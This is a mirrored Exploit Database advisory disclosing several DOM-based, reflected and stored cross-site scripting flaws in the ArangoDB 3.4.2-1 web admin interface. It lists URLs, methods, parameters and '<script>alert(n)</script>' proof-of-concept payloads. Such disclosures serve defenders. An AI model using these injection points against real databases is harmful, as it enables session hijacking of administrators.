ArangoDB Community Edition 3.4.2-1 – Cross-Site Scripting

• Exploit Database
• 109 阅读

• 作者： Ozer Goker
  日期： 2019-02-18
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/46407/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125

  ################################################################################################################################## # Exploit Title: ArangoDB Community Edition 3.4.2-1 | Cross-Site Scripting # Date: 17.02.2019 # Exploit Author: Ozer Goker # Vendor Homepage: https://www.arangodb.com # Software Link: https://www.arangodb.com/download-major/ # Version: 3.4.2-1 ##################################################################################################################################   Introduction   ArangoDB is a native multi-model, open-source database with flexible data models for documents, graphs, and key-values. Build high performance applications using a convenient SQL-like query language or JavaScript extensions. Use ACID transactions if you require them. Scale horizontally and vertically with a few mouse clicks.   #################################################################################   XSS details: DOM Based & Reflected & Stored   #################################################################################   XSS1 | DOM Based XSS - Search   URL http://127.0.0.1:8529/_db/_system/_admin/aardvark/index.html#views     PAYLOAD "><script>alert(1)</script>   <div class="search-field"> <input type="text" value=""><script>alert(1)</script>" id="viewsSearchInput" class="search-input" placeholder="Search..."/> <i id="viewsSearchSubmit" class="fa fa-search"></i> </div>   #################################################################################   XSS2 | Reflected & Stored - Save as   URL http://127.0.0.1:8529/_db/_system/_admin/aardvark/index.html#queries http://127.0.0.1:8529/_db/_system/_api/user/root   METHOD PATCH   PARAMETER name   PAYLOAD "><script>alert(2)</script>   #################################################################################   XSS3 | Stored - Delete query   URL http://127.0.0.1:8529/_db/_system/_admin/aardvark/index.html#queries http://127.0.0.1:8529/_db/_system/_api/user/root   METHOD Get   #################################################################################   XSS3 | Reflected & Stored - Add User   URL http://127.0.0.1:8529/_db/_system/_admin/aardvark/index.html#users http://127.0.0.1:8529/_db/_system/_api/user http://127.0.0.1:8529/_db/_system/_admin/aardvark/index.html#user/%22%3E%3Cscript%3Ealert(3)%3C%2Fscript%3E   METHOD Post   PARAMETER user,name   PAYLOAD "><script>alert(3)</script> "><script>alert(4)</script>   #################################################################################   XSS5 | DOM Based XSS - Search   URL http://127.0.0.1:8529/_db/_system/_admin/aardvark/index.html#users     PAYLOAD "><script>alert(5)</script>   <div class="search-field"> <input type="text" value=""><script>alert(5)</script>" id="userManagementSearchInput" class="search-input" placeholder="Search..."/> <!-- <img id="userManagementSearchSubmit" class="search-submit-icon"> --> <i id="userManagementSearchSubmit" class="fa fa-search"></i> </div>   #################################################################################   XSS6 | DOM Based XSS - Search   URL http://127.0.0.1:8529/_db/_system/_admin/aardvark/index.html#databases     PAYLOAD "><script>alert(6)</script>   <div class="search-field"> <input type="text" value=""><script>alert(6)</script>" id="databaseSearchInput" class="search-input" placeholder="Search..."/> <!-- <img id="databaseSearchSubmit" class="search-submit-icon">--> <i id="databaseSearchSubmit" class="fa fa-search"></i> </div>   #################################################################################